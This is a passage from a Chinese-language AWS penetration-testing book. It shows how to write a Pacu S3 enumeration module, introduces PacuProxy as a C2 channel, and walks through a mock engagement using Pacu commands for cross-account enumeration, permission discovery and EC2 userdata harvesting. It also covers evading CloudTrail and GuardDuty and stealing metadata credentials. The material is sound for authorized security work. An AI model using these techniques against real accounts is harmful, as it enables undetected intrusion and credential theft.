install_dependencies方法基本上已经被弃用,因为在撰写本文时,只有一个模块使用它,并且已经有计划以不同的方式整合这个功能。目前,它用于安装模块所需的外部依赖。

例如,使用这种方法的模块之一是s3__bucket_finder模块,它使用 Git 克隆一个第三方工具,并下载一个它所需的单词列表。如果一个依赖项本身是另一个 Git 存储库,或者太大而无法定期包含在 Pacu 中,这可能是有帮助的。

由于这种方法的使用缺乏和其他安全问题,这个功能很可能很快就会从 Pacu 中移除。

get_boto3_client/get_boto3_resource

get_boto3_clientget_boto3_resource方法允许你与 boto3 Python 库进行交互,而无需担心一大堆配置选项。由于PacuProxy、GuardDuty Kali/Parrot/Pentoo 用户代理绕过和身份验证的要求,所有复杂的配置选项都已经从模块开发者看到的内容中抽象出来。在后台,仍然可以修改这些配置,但是模块很少需要这种粒度的配置。

这些函数使得在单个区域创建boto3客户端可以从以下混乱开始:

client = boto3.client(
    'ec2',
    region_name='us-east-1',
    aws_access_key_id='AKIAEXAMPLEKEY',
    aws_secret_access_key='examplekeyexamplekeyexamplekey',
    aws_session_token='examplesessiontokenexamplesessiontokenexamplesessiontokenexamplesessiontokenexamplesessiontokenexamplesessiontokenexamplesessiontoken',
    config=botocore.config.Config(
        proxies={'https': 'socks5://127.0.0.1:{}'.format(socks_port), 'http': 'socks5://127.0.0.1:{}'.format(socks_port)} if not proxy_settings.target_agent == [] else None,
        user_agent=user_agent,
        parameter_validation=parameter_validation
    )
)

你可以将它转换成更简洁、更短的代码行:

client = pacu_main.get_boto3_client('ec2', 'us-east-1')

在 Pacu 中,这两行代码本质上是做同样的事情,但第一行要长得多,并且需要很多你作为模块开发者不必担心的信息。

模块结构和实现

通过查看 Pacu 附带的模板模块文件中的内容,可以很容易了解 Pacu 模块结构。该文件中的每一行和部分都有注释,描述了它在做什么以及为什么要这样做。如果你更喜欢具体的例子,那么检查一些枚举模块的代码可能是有意义的,因为它们往往更简单,并且它们都与数据库交互。

假设我们想编写一个模块,枚举账户中存在的存储桶,并将该信息保存到 Pacu 数据库中。总的来说,这应该是一个非常简单的模块。我们将进一步进行一步,甚至考虑已经编写了一个枚举 S3 存储桶并打印出它们的脚本。该脚本可能如下所示:

import boto3
import botocore

try:
    client = boto3.client('s3')

    buckets = client.list_buckets()['Buckets']

    print(buckets)
except botocore.exceptions.ClientError as error:
    print('Failed to list S3 buckets: {}'.format(error))

这是一个非常简单的脚本,带有一些小的错误处理,但在使用上并不是非常灵活,因为目前它只会使用默认的 AWS CLI 配置文件进行身份验证,因为在创建 boto3 客户端时没有指定凭据。

现在,让我们来看一个干净的模块模板。这是在删除所有命令和一些我们不会使用的示例脚本后模板的样子:

#!/usr/bin/env python3
import argparse
from botocore.exceptions import ClientError

module_info = {
    'name': 's3__enum',
    'author': 'Example author of Example company',
    'category': 'ENUM',
    'one_liner': 'Enumerates S3 buckets in the target account.',
    'description': 'This module enumerates what S3 buckets exist in the target account and saves the information to the Pacu database.',
    'services': ['S3'],
    'prerequisite_modules': [],
    'external_dependencies': [],
    'arguments_to_autocomplete': [],
}

parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])

def main(args, pacu_main):
    session = pacu_main.get_active_session()
    args = parser.parse_args(args)
    print = pacu_main.print

    return data

def summary(data, pacu_main):
    return 'Found {} S3 bucket(s).'.format(len(data['buckets']))

我们已经填写了module_info变量,其中包含解释我们的 S3 枚举模块所需的数据,所以现在我们只需要移植我们的代码。此外,我们已经从pacu_main中删除了任何在此模块中不会使用的导入,例如input覆盖。这是因为我们不会在模块中要求用户输入,但我们会打印文本,所以我们保留print覆盖。

如果我们回到我们原来的 S3 脚本,我们基本上只需将 try/except 块复制到 Pacu 模块的main方法中。然后,我们需要做一些更改。我们不再想用boto3.client创建一个 boto3 客户端,而是想使用pacu_main.get_boto3_client,所以我们将client = boto3.client('s3')替换为client = pacu_main.get_boto3_client('s3')。您可能已经注意到在模板文件的顶部from botocore.exceptions import ClientError,这意味着我们可以将我们的错误处理从botocore.exceptions.ClientError更改为ClientError,它将像以前一样工作。

我们不想打印出存储桶,而是想将它们存储在某个地方,以便我们可以在摘要中引用,在函数中引用,并在 Pacu 数据库中引用。

为了做到这一点,我们将声明一个data变量,它将在模块执行期间保存所有相关数据,并且它将有一个Buckets键,该键保存从 AWS 返回的存储桶信息。

现在我们的 S3 脚本已经从之前看到的内容改变为以下内容:

data = {'Buckets': []}

try:
    client = pacu_main.get_boto3_client('s3')

     data['Buckets'] = client.list_buckets()['Buckets']
except botocore.exceptions.ClientError as error:
    print('Failed to list S3 buckets: {}'.format(error))

现在我们有了存储桶名称的列表,所以我们将使用session变量将它们存储在数据库中。在这种情况下,我们不关心数据库中已经存储的 S3 数据,因为我们正在枚举一个新列表,而不是更新任何现有的内容。因此,我们不需要将数据从数据库中复制出来,更新它,然后再放回去。我们可以直接用我们的更新覆盖它。

这将看起来像这样:

    session.update(pacu_main.database, S3=data)

完成后,数据库将保存一个包含 S3 部分中 S3 存储桶列表的对象,并且对当前会话的任何用户都可以获取。

现在模块已经完成。要将其集成到 Pacu 中,我们只需在 Pacu 的模块文件夹中创建一个名为s3__enum的新文件夹(因为我们在module_info部分中命名为这样),将模块脚本保存为该文件夹中的main.py,在该文件夹中也创建一个空的__init__.py文件,然后启动 Pacu。我们现在应该能够在列出模块或搜索模块时看到我们的模块,这意味着我们现在也能够执行它并接收有效的结果:

搜索并运行我们的新模块

这很简单,但在几分钟内,我们就能够将一个普通的 Python 脚本转换为一个 Pacu 模块,几乎没有什么麻烦。

整个模块的最终代码看起来是这样的:

#!/usr/bin/env python3

# Import the necessary libraries
import argparse
from botocore.exceptions import ClientError

# Declare the required module info for the Pacu UI
module_info = {
    'name': 's3__enum',
    'author': 'Example author of Example company',
    'category': 'ENUM',
    'one_liner': 'Enumerates S3 buckets in the target account.',
    'description': 'This module enumerates what S3 buckets exist in the target account and saves the information to the Pacu database.',
    'services': ['S3'],
    'prerequisite_modules': [],
    'external_dependencies': [],
    'arguments_to_autocomplete': [],
}

# Define our argument parser, for if our module supported any arguments
parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])

# Begin the main function, which is run when the module itself is run
def main(args, pacu_main):
    # Setup our session, arguments, and override the print function
    session = pacu_main.get_active_session()
    args = parser.parse_args(args)
    print = pacu_main.print

    # Create a variable to store data in as we enumerate it
    data = {'Buckets': []}

    # Attempt to list the buckets in the target account, catching any potential errors
    try:
        client = pacu_main.get_boto3_client('s3')

        data['Buckets'] = client.list_buckets()['Buckets']
    except ClientError as error:
        print('Failed to list S3 buckets: {}'.format(error))

    # Update the Pacu database with the S3 data that we enumerated
    session.update(pacu_main.database, S3=data)

    return data

# Define our summary function that outputs a short summary of the module execution after it is done
def summary(data, pacu_main):
    return 'Found {} S3 bucket(s).'.format(len(data['Buckets']))

现在,最后注意一点,如果我们在之前的同一个会话中运行services命令,它现在应该包含 EC2 和 S3 的数据,正如预期的那样:

服务现在输出 EC2 和 S3,因为它们现在都在数据库中有数据

这也意味着我们可以运行data S3命令来获取任何 S3 数据,如果我们愿意的话。

PacuProxy 简介

PacuProxy在本书中已经多次提到,但通常只是随意地提及。这是因为 PacuProxy 旨在解决攻击 AWS 环境时的一个非常特定的问题,这通常超出了大多数转向云端的公司的安全姿态。在非常基本的层面上,PacuProxy 只是另一个命令和控制框架,例如 PowerShell Empire 和 Meterpreter,但 PacuProxy 比其他类似工具更加面向云端。

PacuProxy 的重要特性(除了一般的 C2 功能,如负载生成、代理处理和模块)是它直接集成到 Pacu 的工作流程中。这意味着当您妥协了一个服务器,比如一个 EC2 实例,您可以使用 PacuProxy 作为您的 C2 通道,基本上通过受损的实例代理您的 Pacu 流量。这使您可以从自己的计算机使用 Pacu 提供的所有功能,但所有流量都经过受损的主机。当防御者查看日志并注意到您的恶意流量时,受损的 EC2 实例将显示为流量的来源,这看起来比一个他们不熟悉的随机 IP 地址更不可疑。

PacuProxy 也有自己的一套模块,可以运行,并且可以将功能集成到普通的 Pacu 模块中。一个例子是systemsmanager__rce_ec2模块。该模块滥用 AWS Systems Manager 服务,试图在 EC2 实例上远程执行代码,但与 PacuProxy 的集成已经内置,因此如果您运行该模块而没有指定要在实例上运行的命令,并且您有 PacuProxy 在监听,它将自动生成一个一行的分段,并在主机上执行,使您完全控制它。

PacuProxy 特定模块的一个例子是从 EC2 元数据服务中窃取凭据。您可以运行该模块,它将向该服务器的元数据服务发出 HTTP 请求,以获取可能存在的任何凭据,然后在 Pacu 中创建一组新的密钥,使用这些凭据。然后,您可以通过受损的主机路由所有这些请求,从未警告 GuardDuty 或其他人发生了妥协,即使一切都安装并在您自己的主机上运行。

PacuProxy 仍处于最初创建时设想的早期阶段,因此本节中已隐瞒了更多技术细节,因为其中任何一个提供的细节可能很快就会过时。

总结

Pacu 提供了广泛的功能和扩展现有功能的能力。它是为渗透测试 AWS 环境而创建的第一个模块化攻击工具,由于有人支持,它应该会长时间发展下去。在攻击 AWS 环境时,它是一个很好的资产,但它并非万能,因此重要的是要学习攻击 AWS 的基础知识,而不是依赖别人为您自动化一切。

Pacu 仍在积极开发中,因此自编写以来,功能可能已经发生变化,添加或删除,因此在遇到问题时考虑这一点是很重要的。Pacu 的开发人员可以回应在 GitHub 中打开的问题和拉取请求,因此这可能是运行 Pacu 时获得支持的最佳资源。

在本章中,我们介绍了 Pacu 的基本用法和提供的命令。我们还看了一下为其编写我们的第一个模块。希望您能从本章中学到如何有效地使用 Pacu,在 AWS 渗透测试期间执行各种攻击。

在下一章中,我们将进一步探讨并覆盖从头到尾进行 AWS 渗透测试的过程。这将帮助我们了解真实世界的 AWS 渗透测试场景,以及我们何时如何使用 Pacu 等工具,以及如何满足客户的需求和愿望。

第十九章:将所有内容整合在一起-真实世界的 AWS 渗透测试

在本章中,我们将从头到尾看一个真实的 AWS 渗透测试。这应该有助于将本书中许多章节联系在一起,并演示渗透测试 AWS 环境的流程。我们将跳过许多技术细节,因为它们已经在本书的各自章节中进行了概述。

在对 AWS 环境进行渗透测试时,重要的是要彻底调查每种可能的攻击,并利用你所获得的访问权限。这确保了在参与结束时向客户提供的结果是全面的、完整的和有用的,并且让他们确信他们可以放心地知道他们的基础设施得到了广泛的调查。

在本章中,我们将在不同的地方引用两个 IAM 用户。一个 IAM 用户将被称为PersonalUserPersonalUser是我们在自己的攻击者控制的 AWS 账户中创建的 IAM 用户,用于跨账户枚举等活动。此用户需要具有iam:UpdateAssumeRolePolicys3:ListBucket权限,以使跨账户侦察正常工作。另一个 IAM 用户将被称为CompromisedUser,这个用户是我们在这次攻击场景中被攻陷的用户,并且我们将在整个正常过程中使用。我们的情景将模拟一个使用 AWS 的公司Acme Co.,来到我们的渗透测试公司,寻求 AWS 渗透测试。

在本章中,我们将涵盖以下主题:

  • 渗透测试启动

  • 未经身份验证的侦察

  • 经过身份验证的侦察加上权限枚举

  • 权限提升

  • 持久性

  • 后期利用

  • 合规性和最佳实践审计

渗透测试启动

在进行渗透测试和黑客攻击之前,与客户一起进行启动过程非常重要,以确保每个人都了解渗透测试的范围、对环境的访问权限类型、渗透测试的目标等。这个过程是必要的,因为在渗透测试业务中没有人喜欢意外,沟通可以让每个人都满意。在本节中,我们将涵盖在渗透测试开始之前需要做的一些重要方面。

范围确定

AWS 渗透测试(或任何类型的渗透测试)最重要的一个方面是确定参与范围。在传统的范围确定方法方面,如 IP 地址数量、用户数量、Web 应用程序大小等,AWS 参与范围很难确定。这需要一些更个人化的方法,因为无论规模大小,我们都可以运行一些扫描程序并结束一天,但这并不是渗透测试的全部内容,如果这是你处理事情的方式,将会给你的公司带来负面影响。需要大量手动工作来进行 AWS 渗透测试,以深入挖掘并发现潜在的漏洞,因此很重要适当确定范围,以便有足够的时间进行深入评估,但不要浪费自己和客户的时间和金钱。

很难提供一个确切的方法来确定 AWS 参与范围,但以下问题清单可以帮助提供客户环境的背景信息,以帮助确定其规模。

  • 您是否为此环境使用了多个 AWS 账户?

  • 有多少个?

  • 您是否有兴趣让它们全部进行测试,还是只是部分?

  • 环境将提供什么样的访问权限?

  • 您使用了哪些 AWS 服务?有多少个?

  • 您的资源跨越了多少个地区?

  • 您使用了多少个 EC2 实例/ Lambda 函数?

  • 您有多少个 IAM 用户、角色和组?

  • 您的用户如何访问您的环境?(常规 IAM 用户、SSO | AssumeRole 等)

除了这些问题,还可以询问关于他们正在使用的其他 AWS 服务的更具体的问题。您有多少 RDS 数据库?如果他们甚至没有使用 RDS 服务,这个问题就没有意义,但类似于您有多少 Lightsail 实例?可能会有意义。除非客户告诉您他们使用 Lightsail,否则这种情况通常不会出现。

这些问题旨在让您对您计划攻击的 AWS 环境有一个基本的了解。然后,这可以帮助您确定完全测试需要多长时间。

这些问题非常具体,它们可能会因客户而异。这是因为,例如,您可能正在测试一个拥有 5000 个 EC2 实例、300 个 Lambda 函数和 100 个 RDS 数据库的环境,但客户只想为一个具有 IAM 权限和一些 Lightsail 权限的单个用户提供访问权限。在这一点上,EC2、Lambda 和 RDS 背后的数字几乎是无关紧要的,因为除非您能在环境中提升权限,否则根据客户的期望,您将不会触及这些服务。

AWS 渗透测试规则和指南

在开始进行 AWS 渗透测试之前,确认您不会违反 AWS 关于渗透测试的规定非常重要。截至 2019 年 3 月,AWS 不再要求对多个不同服务进行渗透测试的批准,但仍然有一份在其渗透测试页面上列出的禁止活动清单。有关渗透测试 AWS 基础架构的有用信息,例如您必须遵循的限制,可以在这里找到:aws.amazon.com/security/penetration-testing/。我们不希望在不了解规则的情况下开始渗透测试,因为那样我们就有可能违反 AWS 的可接受使用政策(aws.amazon.com/aup/),这可能会导致目标账户被暂停或完全终止。这些信息必须在我们与客户合作之前传达给我们的客户,否则我们可能会延迟开始。

需要注意的是,AWS 规定我们的政策只允许在他们的渗透测试页面上测试以下资源:EC2、RDS、Aurora、CloudFront、API Gateway、Lambda、Lightsail 和 Elastic Beanstalk。这一部分听起来好像我们不能对整个 AWS 环境进行渗透测试,但是指的是传统的渗透技术,比如端口扫描、CVEs/漏洞利用、暴力破解等。它并不是指我们在本书中所指的渗透测试的一切,因为其中大部分只是使用 AWS API 在账户中执行特定操作,这并不违反 AWS 的可接受使用政策。例如,我们可以尝试利用 AWS 系统管理器中的配置错误,通过使用 AWS API 来尝试远程访问 EC2 实例,但我们不能对 AWS ElastiCache 实例进行端口扫描并尝试利用缓冲区溢出,因为这些规则。

凭据和客户期望

在处理 AWS 渗透测试授权表格之后(或在过程中),下一步将是确定客户对 AWS 渗透测试期望的具体内容。这是一个红队风格的合作吗,我们的活动将受到蓝队的积极监视和防御?这只是对配置的审计吗?这是一种尽可能深入的合作,没有对我们进行积极的防御?

除此之外,客户是否提供给我们凭据?如果是,有多少用户的凭据以及我们得到了关于他们的什么信息?如果没有,我们是否应该进行社会工程来获取访问权限?

其他重要的问题可能包括以下内容:

  • 这是一个测试/开发/生产环境吗?

  • 在环境中有什么是我们不应该触碰的?

  • 是否有其他用户正在积极使用这个环境?

还有许多其他关于范围的问题需要问,这最终取决于您作为渗透测试公司的做法以及您的客户作为您的客户的需求。在本章中,我们将假设一个情景,即我们为单个 IAM 用户提供了一组密钥,没有其他内容。这意味着我们不知道可以期望什么样的访问权限,以及他们的基础架构从内部是如何工作的。此外,在我们的情景中,我们将假设没有一个正在试图阻止和关闭我们访问的活跃的蓝队,但我们将受到账户中现有工具的监视。出于所有这些原因,这意味着我们应该将这次参与视为我们刚刚窃取了他们提供给我们的密钥的访问权限,并且模拟攻击,就好像我们是一个真正的攻击者,尽管我们知道蓝队不会阻止我们。

这些类型的参与对客户来说可能非常有用,因为它为他们提供了各种信息。它为我们渗透测试人员提供了充分的能力来展示可能发生的情况,当他们的密钥被泄露时,它为他们提供了(云)日志和活动的记录,以查看他们正在检测到的攻击类型,他们错过了什么,甚至允许他们分析这些数据,就好像这是一种事件响应/取证类型的情况。如果蓝队在参与期间积极地关闭我们,我们可能无法发现 AWS 环境中的所有实际漏洞,因为我们的访问被阻止了。没有蓝队的干扰,我们可以尽可能深入地进行,它还允许我们对账户中的服务和资源执行配置和最佳实践审核。在真实的红队类型的情况下,检查某些配置问题和最佳实践是没有意义的,因为它不会直接有益于我们的攻击,只会在我们的活动中留下更多的记录。

除了攻击叙述之外,提供审计和配置检查对客户来说可能非常有用,以符合账户内的合规性和安全性,因此最好能够提供这些信息。另一方面,客户想要什么是最重要的,因此必须根据他们的要求修改这个攻击叙述。

一旦客户端期望已确定,AWS 渗透测试授权表已获批准,并且您已收到凭证,您几乎可以开始了。

安装

在开始任何实际工作之前,我们需要确保我们已正确设置。这种设置可能看起来不同,但对于这种情况,我们需要确保 AWS CLI 和 Pacu 都已安装在我们的系统上。如何执行此操作的说明已在前几章中进行了审查,但作为提醒,您可以从其 GitHub 页面获取 Pacu,通过 Python pip获取 AWS CLI:

安装了这些工具之后,我们将希望将我们可用的 AWS 密钥集成到这些工具中。这样做的最简单方法是使用 AWS CLI 创建凭据配置文件,然后将该配置文件导入 Pacu。对于我们之前提到的PersonalUserCompromisedUser一组密钥,我们将使用aws configure命令,并使用--profile参数,指定每个名称,如下所示:

aws configure --profile PersonalUser
aws configure --profile CompromisedUser

然后,我们将输入我们的密钥。之后,我们可以使用 Python3 启动 Pacu 并创建一个新会话。我们将命名会话为Acme,因为这次参与是为 Acme Co。然后,我们可以使用 Pacu 命令import_keys将我们的两对密钥从 AWS CLI 导入 Pacu:

import_keys PersonalUser
import_keys CompromisedUser

我们将我们自己的个人用户添加到 AWS CLI 和 Pacu 中是为了当我们对目标执行未经身份验证的侦察时,因为这些模块通常需要目标账户之外的密钥。

如果客户告诉我们他们只使用特定的一组区域,那么我们也可以使用set_regions命令在 Pacu 中设置这一点,但对于我们的情况,我们会说我们还没有这个信息(但愿)。

在这一点上,我们已经准备好进行未经身份验证的(跨账户)侦察。

未经身份验证的侦察

AWS 内的大多数未经身份验证的侦察在技术上并不是未经身份验证的,因为需要凭据。不同之处在于,对于未经身份验证的侦察,我们使用我们自己的攻击者 AWS 密钥,因此我们对目标环境未经身份验证,我们的枚举/尝试的任何日志都将只出现在我们自己的账户中。这在枚举 AWS 资源时几乎是未经身份验证的,除了像开放的 S3 存储桶之类的情况,但即使在这种情况下,某种凭据也可以帮助该过程,因为某些存储桶的权限设置方式。

对于大多数未经身份验证/跨账户攻击来说,了解目标 AWS 账户 ID 是至关重要的。账户 ID 允许我们将资源与我们自己的特定账户关联起来。这意味着我们对 AWS 的第一个 API 调用实际上将来自CompromisedUser而不是我们的PersonalUser。原因是因为我们还没有账户 ID,我们需要它。幸运的是,已经进行了研究,以获取有关一组密钥的信息,而不记录任何内容到 CloudTrail,就像我们在第十五章中介绍的那样,Pentesting CloudTrail

我们将使用iam__detect_honeytokens模块来收集我们需要的信息:

  1. 作为CompromisedUser,我们将运行 Pacu 命令run iam__detect_honeytokens。原因是因为该模块使用一个未记录到 CloudTrail 的 AWS API 调用来枚举当前用户的 ARN,其中包含了账户 ID,我们将在他们不知情的情况下获取了账户 ID。以下屏幕截图显示了在我们的测试环境中运行该模块时的输出:

iam__detect_honeytokens 模块在不记录到 CloudTrail 的情况下获取我们的 ARN

我们可以看到我们的CompromisedUser的用户名是CompromisedUser,它位于账户 ID216825089941中。如果我们想这样做,我们现在可以运行whoami命令来查看这些信息是否已添加到 Pacu 数据库。现在我们有了账户 ID,我们可以开始进行未经身份验证的侦察。这部分未经身份验证的侦察将涉及在账户中枚举 IAM 用户和角色,以及可能与公司或账户关联的 S3 存储桶。

  1. 我们将首先注意到我们刚刚枚举的账户 ID,然后通过运行swap_keys命令在 Pacu 中将密钥切换到PersonalUser来启动它。

  2. 作为PersonalUser,我们将运行iam__enum_users模块,以尝试检测目标账户中的任何用户。我们将向该模块传递我们刚刚获得的账户 ID,以便它知道在哪里查找用户。我们还将向--role-name参数传递Test作为值,因为我们的个人账户中有一个名为Test的角色,并且它是UpdateAssumeRolePolicy API 调用所必需的。最终命令将是run iam__enum_users --role-name Test --account-id 216825089941。将在您自己账户的 CloudTrail 中创建许多日志,但不会在目标账户中创建。以下屏幕截图显示了该命令的执行,我们可以看到发现了三个独立的 IAM 用户:

iam__enum_users模块的一些输出中,表明我们在目标账户中发现了三个用户

  1. 接下来,我们将使用iam__enum_roles模块运行以下命令来执行相同的操作:run iam__enum_roles --role-name Test --account-id 216825089941。以下屏幕截图显示了该模块的执行,我们可以看到枚举了四个 IAM 角色:

iam__enum_roles模块的部分输出,表明找到了四个角色,但没有一个可以用于凭据

现在,让我们看看我们枚举的用户和角色名称。我们找到了三个用户:

  • Test

  • ExampleUser

  • LambdaReadOnlyTest

TestExampleUser在我们的侦察中并不是很有帮助,但LambdaReadOnlyTest表明我们的目标可能在其账户中使用 Lambda 服务。

我们还发现了四个角色:

  • MyOwnRole

  • LambdaEC2FullAccess

  • CloudFormationAdmin

  • SSM

这些角色名称比我们枚举的用户更有帮助。MyOwnRole有点无用,但LambdaEC2FullAccess表明 Lambda 在他们的环境中正在使用,就像我们从一个用户推断出的那样,但这个角色名称还表明了另外两个潜在的可能性:

  • 可能存在被启动到 VPC 中的 Lambda 函数,使它们内部访问该网络

  • 可能存在直接与 EC2 服务交互的 Lambda,这意味着我们的目标也可能在其环境中使用 EC2 服务

CloudFormationAdmin角色表明在环境中可能使用了 CloudFormation,因此在我们开始攻击时,我们需要牢记这一点。它可能能够帮助我们通过少量的 API 调用收集有关目标环境的更多信息。

SSM角色表明此角色是为系统管理员创建的。我们可以假设这意味着他们在其环境中使用系统管理员远程控制/管理 EC2 实例或本地服务器。

现在,在目标账户中不创建任何日志的情况下,我们已经枚举了多个存在的用户和角色,并收集了关于他们的基础设施可能如何在不同的 AWS 服务中设置的合理数量的信息。

我们未经身份验证的侦察的最后一部分将是使用 Pacu 的s3__bucket_finder模块查看 S3 存储桶。假设我们的目标 Acme Co.拥有域名acme.com,因此我们将将其传递给此模块以查找现有的存储桶。我们可以使用以下命令来执行此操作:

run s3__bucket_finder -d acme.com

输出应该向我们显示是否发现了任何存储桶,然后是否有任何这些存储桶可以列出。不幸的是,我们的扫描没有提供任何可操作的结果,如下面的截图所示:

该模块未找到任何存储桶供我们查看

如前面的截图所示,该模块具有外部依赖性。目前,这是唯一一个使用install_dependencies函数的模块,它这样做是为了 Git 克隆Sublist3r进行子域变异和Buckets.txt进行存储桶暴力破解。因为我们只使用了-d参数,所以这两个外部依赖都没有被使用。

现在,我们已经尽了我们在目标账户外的所能。是时候获取CompromisedUser凭据并开始我们两部分侦察的经过身份验证的阶段了。

经过身份验证的侦察加上权限枚举

要开始我们评估的经过身份验证的侦察部分,我们需要使用swap_keys Pacu 命令从我们的PersonalUser切换到CompromisedUser

  1. 在 Pacu 中运行swap_keys以切换到CompromisedUser

  2. 经过身份验证的侦察的第一件事是找出我们自己的权限,以便我们知道我们对 AWS 账户有什么样的访问权限。这可以通过使用iam__enum_permissions Pacu 模块来完成。对于我们当前的目的,它不需要任何参数,因此我们可以运行以下命令:

run iam__enum_permissions
  1. 接下来,我们可以查看使用whoami命令枚举的权限:

运行iam__enum_permissions并使用whoami命令检查枚举的数据

我们可以看到我们的用户附加了三个 IAM 策略,其中两个是 AWS 托管策略(AmazonEC2FullAccessDatabaseAdministrator),另一个是内联策略(IAM-Read-List-PassRole)。我们可以确定这些是 AWS 托管策略,因为在whoami命令的结果的Policies部分中包含了 ARN。IAM-Read-List-PassRole策略没有列出 ARN,这意味着它是一个内联策略,而不是托管策略。

如果我们向下滚动,我们将看到我们的用户被允许/拒绝的权限列表,以及这些权限适用的资源/条件。

现在,我们已经枚举了我们自己的权限,并将其保存到数据库中,我们可以看到我们对 AWS EC2 拥有完全访问权限,DatabaseAdministrator策略授予我们的任何访问权限(如果我们愿意,我们可以直接从我们自己的个人账户查看此策略,或者我们可以查看 Pacu 提供的权限列表),以及IAM-Read-List-PassRole策略授予我们的任何访问权限(我们可以假设它授予我们对 IAM 服务的读取和列出权限,以及将 IAM 角色传递给其他 AWS 服务/资源的权限)。所有这些都可以通过审查 Pacu 在whoami命令中提供的权限列表来确认。

枚举我们自己用户的权限非常重要,但要注意,枚举这些权限可能会触发基于 IAM 枚举的 GuardDuty 警报。然而,我们不仅想要我们自己的权限;我们还想查看账户中每个其他用户和角色的权限,以便为客户提供环境中可能的所有可能的配置错误的完整列表。我们可以使用iam__enum_users_roles_policies_groups模块来做到这一点,但这只会枚举每个 IAM 资源的基本信息。我们宁愿再次使用iam__enum_permissions模块来收集环境中每个用户/角色的完整权限集。

  1. 我们可以通过使用--all-users--all-roles参数开始枚举所有用户和角色的权限,可以在以下命令中看到:
run iam__enum_permissions --all-users --all-roles

现在,Pacu 将循环遍历账户中的每个用户和角色,并将它们的权限转储到我们 Pacu 文件夹中的 JSON 文件中。然后,可以手动审查这些信息,或者将其传递给 Pacu 特权升级模块,以检查所有这些用户/角色的特权升级向量:

当针对所有用户和角色时,iam__enum_permissions模块的输出

在前面的截图中,我们可以看到 Pacu 尚未枚举目标账户中的用户和角色,因此在执行之前询问我们是否要这样做。然后,我们可以看到它正在将每个用户和角色的权限保存到 Pacu 文件夹中的sessions/Acme/downloads/confirmed_permissions/文件夹中。当模块完成时,我们可以检查这些文件,查看这些用户/角色的权限,其格式类似于我们自己用户的whoami命令的输出:

JSON 文件中包含 SSM 角色权限的部分内容

枚举的下一步理论上可以等到我们准备攻击特定服务时再进行,但也可以在那之前一次性完成。在这一点上运行的一对很好的模块可能是aws__enum_accountaws__enum_spend模块,以提供有关用户所在组织和在各种 AWS 服务上花费的资金类型的见解。这些数据可以为您提供信息,让您能够确定正在使用哪些 AWS 服务(以及在多大程度上),而无需查询这些特定的服务本身。例如,如果我们可以看到总账户支出为$1,000.00,EC2 服务的支出为$750.00,那么我们可以假设他们的大部分资源驻留在 EC2 上。您的假设可能并不总是 100%准确,但通常可以提供对预期情况的高层次概述。

  1. 现在,在 Pacu 中运行run aws__enum_account命令,然后运行run aws__enum_spend命令,以接收类似于以下截图所示的输出:

aws__enum_account模块的输出和aws__enum_spend模块的部分输出

我们可以看到aws__enum_account模块为我们提供了美元($)的总账户支出,为$0.98,但我们未被授权收集有关账户组织的任何信息。我们还可以看到aws__enum_spend模块的输出开始部分,该模块正在检查每个 AWS 服务的指标,以确定在其上花费的资金。结果显示在以下截图中:

目标账户的 AWS 账户支出

我们可以看到大部分账户支出出现在 AWS Glue 服务和 Amazon Document DB 服务中,还有一些在 GuardDuty 和 AWS Amplify 中。尽管这些信息很有帮助,但不应该依赖它们作为 100%的事实,因为符合 AWS 免费套餐资格的任何支出都不会在这里记录;这不是账户支出的最新实时清单,也不是所有 AWS 资源都需要花钱。因此,仍然值得直接检查特定服务,但从这个列表开始可能会有所帮助。

  1. 通常情况下,我们可以根据aws__enum_spend模块返回的数据来制定攻击计划,但在这种情况下,我们的示例公司 Acme Co.在参与之前曾讨论过 EC2。基于这些信息,以及 EC2 通常是最有成效的服务之一,我们将运行ec2__enum模块来发现账户中的任何 EC2 资源。我们可以使用以下命令来执行:
      run ec2__enum

因为我们还没有在 Pacu 中设置任何会话区域,所以我们将被提示并询问是否要针对每个 AWS 区域进行操作,我们会回答是。这是因为我们还不知道使用了哪些区域,所以值得检查每一个,直到我们可以找到这些信息为止:

ec2__enum模块的摘要结果

我们可以看到在扫描中发现了七个 EC2 实例。如果我们在结果中向上滚动,我们可以确定us-east-1有一个 EC2 实例,us-west-2有六个 EC2 实例。

如果我们想假设整个 AWS 账户只使用us-east-1us-west-2,我们可以将 Pacu 会话区域设置为这两个区域,但仅基于单个服务很难做出这样的假设,所以我们不打算这样做。

现在我们已经枚举了存在的 EC2 资源,我们将查看每个实例的EC2 userdata,因为这是针对 EC2 实例运行的最简单但最有成效的安全检查之一。通常情况下,我们可以找到私人信息(不应该在其中)或其他一般信息,这些信息可以帮助我们更好地了解环境中发生了什么。

  1. 要执行此操作,请在 Pacu 中运行run ec2__download_userdata命令。以下屏幕截图显示我们在环境中枚举的两个实例中找到了userdata

使用 ec2__download_userdata 模块的结果

从前面的屏幕截图中可以看到,该模块首先询问我们是否要枚举EC2 LaunchTemplates(也可以保存userdata),因为数据库中没有,我们回答否,因为我们知道我们已经枚举过了(使用ec2__enum),并且没有找到。然后,我们可以看到七个 EC2 实例中有两个附加了userdata,然后存储在我们的 Pacu 文件夹中:./sessions/Acme/downloads/ec2_user_data

  1. 让我们通过查看这些文件来检查userdata,看看其中是否有什么有趣的内容。我们将使用cat命令来执行此操作,该命令将输出我们指定的文本文件的内容到屏幕上:

输出这两个包含 EC2 用户数据的文件的内容

根据第一个实例(i-07fdb3fbb2a9a2444)的输出,我们可以看到它在启动时使用apt-get安装了 AWS CLI,然后使用它将文件从私有 S3 存储桶复制到根文件夹。这告诉我们,该 EC2 实例可能附加了 IAM 角色,因为在userdata中没有设置凭据,但我们可以通过 Pacu 中的data EC2命令来确认这一点,从中我们可以找到该实例的详细信息。

我们查看的第二个实例的userdata看起来很有趣。它正在使用curl程序从 Acme.com 的 API 获取授权令牌。它正在使用基本身份验证,因此我们可以在命令中直接看到管理员用户名(admin)和密码(P@ssW0rd)。现在,我们可以对 Acme.com 网站进行一些简单的侦察,以找出管理员帐户将为我们提供什么访问权限。完成后,我们可以使用相同的凭据和 API 请求我们自己的授权令牌,然后我们可以将访问权限转移到主Acme.com网站。

攻击随机的 Web 应用程序超出了本书的范围,但如果满足一些条件,这将是进行 AWS 渗透测试的一个非常有效的攻击路径。首先,Web 应用程序应该托管在我们攻击的 AWS 环境中,才能被视为在范围内,其次,我们需要确定这是否符合客户的期望。如果其中任何一个是有问题的,值得联系我们的客户直接询问。如果允许这种攻击,我们可能能够升级这种攻击以控制 Web 应用程序,或者根据我们在其中找到的内容,我们可能能够进一步扩展我们的 AWS 访问权限。

